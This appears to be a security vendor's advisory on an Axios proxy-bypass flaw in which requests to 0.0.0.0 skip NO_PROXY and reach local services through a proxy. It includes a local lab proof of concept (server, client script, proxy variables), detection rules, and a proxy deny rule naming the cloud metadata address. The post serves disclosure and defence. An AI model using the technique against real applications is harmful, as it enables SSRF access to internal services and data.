CVE-2026-67315

Executive Summary

CVE-2026-67315 is a logic flaw in the Axios HTTP client for Node.js. The vulnerable function shouldBypassProxy.js in affected versions 1.15.0 through 1.17.x does not recognize 0.0.0.0 as a loopback address. As a result, when an application defines NO_PROXY=127.0.0.1,localhost, requests to http://0.0.0.0/ are not exempted from the proxy and are forwarded to the configured HTTP(S) proxy. An attacker who can control a URL fetched by an Axios-based application can abuse this to reach local services through the proxy, potentially exposing internal data or enabling further lateral movement.

The NVD entry currently lists CVSS Score: 0.0 and PATCH_STATUS: UNKNOWN / UNPATCHED, but the Axios release timeline indicates the issue is resolved in 1.18.0. No public exploit or Nuclei template has been released at the time of analysis, and the EPSS score is near 0.0%, meaning active exploitation is not yet common.

Supply Chain & Package Security

Axios is one of the most widely installed packages in the Node.js and NPM ecosystem. This vulnerability is therefore relevant to any organization consuming Axios via NPM, bundled web applications, build pipelines, or serverless functions.

• Package ecosystem: NPM
• Affected package: axios
• Fixed package version: 1.18.0
• Immediate supply chain risk: Applications that set NO_PROXY and fetch user-controlled URLs are at risk of SSRF / proxy bypass.
• Inventory: Identify all lockfiles and SBOM entries referencing Axios with a version below 1.18.0.
• Update strategy: Upgrade with a controlled dependency update; use automated PR tooling and verify application functionality after upgrade.

CVSS Breakdown & Threat Level

The official NVD CVSS vector is unavailable and the listed base score is 0.0. Based on the vulnerability mechanics, a realistic assessment, if formally scored, would align with an attacker-assisted SSRF via the HTTP proxy layer.

The actual impact depends on:

• Whether the application passes attacker-controlled URLs to Axios.
• Whether the network architecture allows an outbound proxy to route 0.0.0.0 to the local host.
• What services are listening on localhost / all interfaces.

Deep Dive & Mechanics

The vulnerable logic is located in shouldBypassProxy.js. The function is responsible for deciding whether a given destination host should skip the configured proxy because it appears in the NO_PROXY environment variable.

Under normal conditions, shouldBypassProxy recognizes:

• localhost
• 127.0.0.1
• 127.0.0.0/8
• IPv6 loopback ::1

The implementation misses 0.0.0.0. On Linux and several other operating systems, connecting directly to 0.0.0.0 is functionally equivalent to connecting to the loopback interface in many local networking scenarios, especially when a service is bound to all interfaces. When Axios evaluates 0.0.0.0, it returns false for shouldBypassProxy, meaning the request is sent to the proxy instead of being sent directly.

An attacker can exploit this by supplying a URL such as:

http://0.0.0.0:8080/admin

If the application uses NO_PROXY=127.0.0.1,localhost, the proxy is used. The proxy may then attempt to resolve or route 0.0.0.0 to the local machine. If the proxy is on the same host or has a route back to the host, it can reach services bound to 0.0.0.0.

The issue is particularly dangerous in environments where:

• A forward proxy is required for external egress.
• Local development services bind to 0.0.0.0.
• The application fetches URLs derived from user input or third-party sources.

Vulnerable vs. Patched Code

Below is a simplified representation of the vulnerable logic and the patched behavior.

Vulnerable Behavior

// axios < 1.18.0 - shouldBypassProxy.js
function shouldBypassProxy(noProxy, host) {
  const isLoopback = host === 'localhost' ||
                     /^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.test(host) ||
                     host === '::1';

  // 0.0.0.0 is NOT treated as loopback
  if (isLoopback) {
    return true;
  }

  // ... rest of NO_PROXY matching
  return false;
}

Patched Behavior

// axios >= 1.18.0 - shouldBypassProxy.js
function shouldBypassProxy(noProxy, host) {
  const isLoopback = host === 'localhost' ||
                     host === '0.0.0.0' ||
                     host === '::1' ||
                     isLoopbackIPv4(host);

  if (isLoopback) {
    return true;
  }

  // ... rest of NO_PROXY matching
  return false;
}

The patch adds an explicit check for 0.0.0.0 or treats the entire 0.0.0.0/8 range as loopback. This ensures NO_PROXY is honored for requests that use the zero address as a representation of the local host.

Exploitation & Lab Setup

There is currently no public Exploit-DB code for this CVE, so the following is a conceptual proof of concept for testing and validation.

Red Team Lab Setup

Create a local vulnerable environment:

mkdir axios-cve-lab
cd axios-cve-lab
npm init -y
npm install axios@1.17.0

Start a local service bound to 0.0.0.0:

// server.js
const http = require('http');

const server = http.createServer((req, res) => {
  res.end('LOCAL SECRET DATA');
});

server.listen(8080, '0.0.0.0');

Create the vulnerable client:

// exploit-client.js
const axios = require('axios');

(async () => {
  try {
    const r = await axios.get('http://0.0.0.0:8080/');
    console.log(r.data);
  } catch (err) {
    console.error('Request failed:', err.message);
  }
})();

Set the environment variables to force the proxy path:

NO_PROXY="127.0.0.1,localhost"
HTTP_PROXY="http://127.0.0.1:3128"
HTTPS_PROXY="http://127.0.0.1:3128"

Start the local service:

node server.js

Run the vulnerable Axios client:

node exploit-client.js

If a proxy is listening on 127.0.0.1:3128, the request will be forwarded to the proxy. The proxy may route the request to the local service, leaking the secret data.

Blue Team Lab Setup

• Configure a local Squid proxy and inspect access logs:

tail -f /var/log/squid/access.log

• Search for destination 0.0.0.0 entries:

grep '0.0.0.0' /var/log/squid/access.log

• Run an eBPF or network tracing tool to detect connections to the local zero address:

sudo tcpdump -n host 0.0.0.0

• Verify Axios versions in the dependency tree:

npm ls axios
npm audit

• Check for unexpected 0.0.0.0 URLs in application logs or proxy logs.

Indicators of Compromise (IOCs)

There are no known malware samples or public exploit artifacts for this CVE yet. The following indicators can help identify exploitation attempts or configuration errors.

Network IOCs

• HTTP proxy requests with a host header of 0.0.0.0.
• Proxy access logs containing GET http://0.0.0.0:<port>/.
• Proxy CONNECT requests to 0.0.0.0:<port>.
• Application logs referencing 0.0.0.0 in URLs passed to Axios.
• DNS query names containing encoded 0.0.0.0 or decimal-encoded zero addresses.

Host IOCs

• Installed Axios package version in node_modules/axios/package.json with a version below 1.18.0.
• shouldBypassProxy.js source missing 0.0.0.0 from loopback checks.
• Unexpected environment variables such as NO_PROXY=0.0.0.0 added as a workaround.
• Unexpected changes in lockfiles that pin Axios to 1.15.0 through 1.17.x.

Proxy Log Example

1630411234.123  123 192.168.1.50 TCP_MISS/502 0 GET http://0.0.0.0:8080/  -

Detection Engineering

The following detection rules are designed to identify attempts to exploit CVE-2026-67315.

YARA Rule

Detect vulnerable or suspicious Axios source files:

rule CVE_2026_67315_Axios_shouldBypassProxy
{
  meta:
    description = "Detects axios <1.18.0 shouldBypassProxy.js lacking 0.0.0.0 loopback handling"
    reference = "CVE-2026-67315"
    date = "2026-01-01"
  strings:
    $fn = "shouldBypassProxy" ascii
    $v4loop = "127.0.0.1" ascii
    $zero = "0.0.0.0" ascii
    $isLoop = "isLoopback" ascii
  condition:
    $fn and $v4loop and not ($zero and $isLoop)
}

Sigma Rule

Detect proxy requests to 0.0.0.0:

title: Axios CVE-2026-67315 Proxy Request to 0.0.0.0
status: experimental
description: >
  Detects HTTP proxy requests where the destination host is 0.0.0.0.
  This may indicate an attempted NO_PROXY bypass using the vulnerable
  Axios shouldBypassProxy.js logic in CVE-2026-67315.
logsource:
  category: proxy
  product: generic
detection:
  selection:
    cs-host|startswith: "0.0.0.0"
  condition: selection
fields:
  - client_ip
  - cs_host
  - cs_uri_stem
  - cs_method
falsepositives:
  - Legitimate internal diagnostics tools using 0.0.0.0 as a placeholder
  - Network scanning tools that report 0.0.0.0 as an unresolved host
level: high

Suricata Rule

Detect outbound HTTP requests containing a Host header of 0.0.0.0:

alert http any any -> any any (msg:"CVE-2026-67315 Axios NO_PROXY bypass to 0.0.0.0"; flow:to_server; http.host; content:"0.0.0.0"; classtype:attempted-recon; sid:202667315; rev:1;)

Remediation & Mitigation

Immediate Remediation

1. Upgrade Axios to a patched version:

npm install axios@^1.18.0

2. Pin the fixed version in package-lock.json and commit it.
3. Run a full dependency audit and ensure no transitive dependency forces an older Axios version:

npm audit
npm ls axios

Workaround If Upgrade Is Not Possible

If an immediate upgrade is not possible, add 0.0.0.0 to NO_PROXY as a stopgap measure:

export NO_PROXY="localhost,127.0.0.1,0.0.0.0,::1"

This is not a perfect fix because environment variable handling may still vary across platforms and Axios versions.

Long-Term Mitigation

• Sanitize user-controlled URLs. Reject or normalize any URL with a hostname resolving to 0.0.0.0 before passing it to Axios.
• Validate egress proxy rules. Configure the proxy to block requests to 0.0.0.0, 169.254.169.254, and other link-local/loopback reserved ranges.
• Monitor proxy and application logs for requests to 0.0.0.0.
• Use a runtime permit list for dependencies and CVEs, especially for high-impact NPM packages like Axios.
• Run SSRF defenses in server-side applications that fetch external URLs, including network segmentation and DNS rebinding protection.
• Update incident response playbooks to include suspicious 0.0.0.0 proxy requests.

Indicators of Compromise (IOCs) Recap

- Proxy access log entry: GET http://0.0.0.0:8080/
- Axios dependency version: 1.15.0 - 1.17.x in package.json
- Application log statement: Requesting URL: http://0.0.0.0:<port>/
- File: node_modules/axios/lib/helpers/shouldBypassProxy.js
- Hacker-controlled input containing URL: http://0.0.0.0:<port>/secret

Stay ahead of adversarial traffic and validate that all Axios dependencies are aligned with the patched release line.

Valters IT — Reimagining Security. One Threat at a Time.